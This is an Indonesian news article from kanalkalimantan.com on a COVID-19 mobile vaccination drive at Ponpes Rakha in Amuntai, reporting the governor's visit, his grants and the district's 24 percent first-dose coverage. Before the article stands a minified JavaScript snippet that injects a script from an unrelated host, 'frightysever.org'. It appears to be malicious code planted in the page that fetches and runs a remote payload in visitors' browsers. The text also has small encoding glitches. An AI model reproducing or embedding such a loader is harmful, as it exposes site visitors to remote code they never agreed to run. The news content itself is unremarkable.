(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Santri Ponpes Rakha Divaksin, Capaian Vaksinasi di HSU Baru 24 Persen

KANALKALIMANTAN.COM, AMUNTAI – Ratusan santri menyambut kedatangan Gubernur Provinsi Kalimantan Selatan (Kalsel) H Sahbirin Noor saat meninjau penyelenggaraan program Vaksinasi Bergerak Pemprov Kalsel di Pondok pesantren (Ponpes) Rasyidah Khalidiah (Rakha) Amuntai, Jum’at (8/10/2021) malam.

Kedatangan orang nomor satu di Kalsel beserta rombongan disambut Bupati Hulu Sungai Utara (HSU) HSU H Abdul Wahid HK, Forkopimda HSU, dan pengurus Yayasan Ponpes Rakha Amuntai.

Selain memantau langsung kegiatan vaksinasi di Ponpes Rakha Amuntai, Sahbirin juga menyerahkan bantuan Pemberian Makanan Tambahan (PMT) ibu hamil, bantuan PMT balita, serta bantuan sembako bagi para peserta vaksin.

Selain itu, Sahbirin Noor juga menyerahkan bantuan dana hibah Pemprov Kalsel untuk Masjid Ponpes Rakha sebesar Rp 1 miliar dan bantuan hibah untuk Masjid Al Manshur Rp 200 juta.

Disamping meninjau proses vaksinasi para santri Gubernur Kalsel juga meresmikan pembangunan gedung di Ponpes Rakha Amuntai dengan melakukan pemotongan pita pertama.

Bupati HSU H Abdul Wahid HK, mengucapkan terimakasih yang setinggi tingginya atas kedatangan Gubernur Provinsi Kalsel.

“Kami juga mengucapkan terimakasih karena kegiatan vaksinasi mendapat dukungan dari bapak Gubernur dan Pemerintah Provinsi Kalsel, bisa berjalan dengan lancar, kami juga menggunakan semua vaksin yang diterima, baik dari pemerintah provinsi, TNI maupun di kepolisian dan swasta, dimanfaatkan dengan semaksimal mungkin,” kata Abdul Wahid.

Bupati bersyukur saat ini kondisi HSU temasuk dalam zona level dua terkait pandemi Covid-19, sehingga segala kegiatan dalam bulan Rabiul Awal di HSU mendapatkan kelonggaran melaksanakan kegiatan peringatan Maulid Nabi Muhammad SAW.

“Mudah-mudahan dengan berkat kita menyemarakan bulan kelahiran Nabi Besar Muhammad SAW ini Covid-19 secepatnya diangkat oleh Allah SWT dan kita bisa kembali hidup normal, tetap menggunakan masker walaupun dengan level pandemi yang semakin membaik,” tukasnya.

Gubernur Kalsel H Sahbirin Noor mengatakan, Pemerintah Provinsi Kalsel sudah berkeliling dari kabupaten kota yang ada di Kalsel, meninjau langsung penyelenggaraan program Vaksinasi Bergerak.

“Ini hari yang ketiga, kita tadi sudah keliling dari Banjarmasin, Pelaihari, Tanah Bumbu, Kotabaru sampai yang paling ujung menyeberang lagi lewat Peramasan masuk Balangan, Tanjung, Jaro. Alhamdulillah sampai malam ini kita bisa berkumpul bersama,” kata Paman Birin.

Pandemi Covid-19 yang melanda lebih dari setahun dapat dilawan dengan semangat gotong royong yang dimiliki bangsa Indonesia.

“Ini penyakit impor dan membuat kita cemas dan sebagainya, mau tua mau muda, mau pejabat mau tidak mau kaya mau miskin bisa terdampak, oleh karena itu ini penyakit harus kita hadapi secara bersama – sama,” imbuhnya.

Baca juga :Â 4 Peristiwa Istimewa Iringi Kelahiran Nabi Muhammad

Sahbirin mengharapkan vaksin yang diberikan oleh pemerintah pusat ke Kabupaten HSU segera dihabiskan.

“Jika sudah habis minta lagi sama kami, pemerintah provinsi dapat sekian, habiskan, kalau habis minta lagi, karena ini memang salah satu cara penanganan Covid-19,” tegasnya.

Terpisah Plt Kepala Dinas Kesehatan Kabupaten HSU, Danu F Fotohena menjelaskan dalam pelaksanaan vaksinasi di Ponpes Rakha, ada 500 dosis vaksin yang diberikan.

“Sebanyak 500 dosis atau sasaran pada hari ini,” katanya.

Vaksinasi di Ponpes Rakha sudah Hmhampir 3000 dosis untuk jumlah santri sekitar 5000 orang. Jadi masih ada sekitar 1500 sampai 2000 santri yang belum divaksin jadi target berikutnya.

Danu menambahkan, target vaksinasi dari 176.000 penduduk Kabupaten HSU, sudah melakukan vaksinasi untuk dosis 1 sebanyak 44.000 dosis.

“Jadi kalau secara persentase itu vaksinasi dosis 1 itu sekitar 24 persen dari sasaran kita yaitu 176.000 Sampai 226.000 penduduk HSU yang akan ditarget vaksinasi,” jelasnya.

Dirinya berharap pada bulan Desember sudah mencapai 50 persen, dengan catatan suplai vaksin ke HSU lancar.

“Selama ini kendalnya memang vaksin tidak begitu lancar suplainya, sehingga kita kesulitan untuk vaksinasi ke masyarakat, hari ini saja dosisnya yang tersisa per kemarin yaitu 550 dosis saja lagi,” pungkasnya. (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie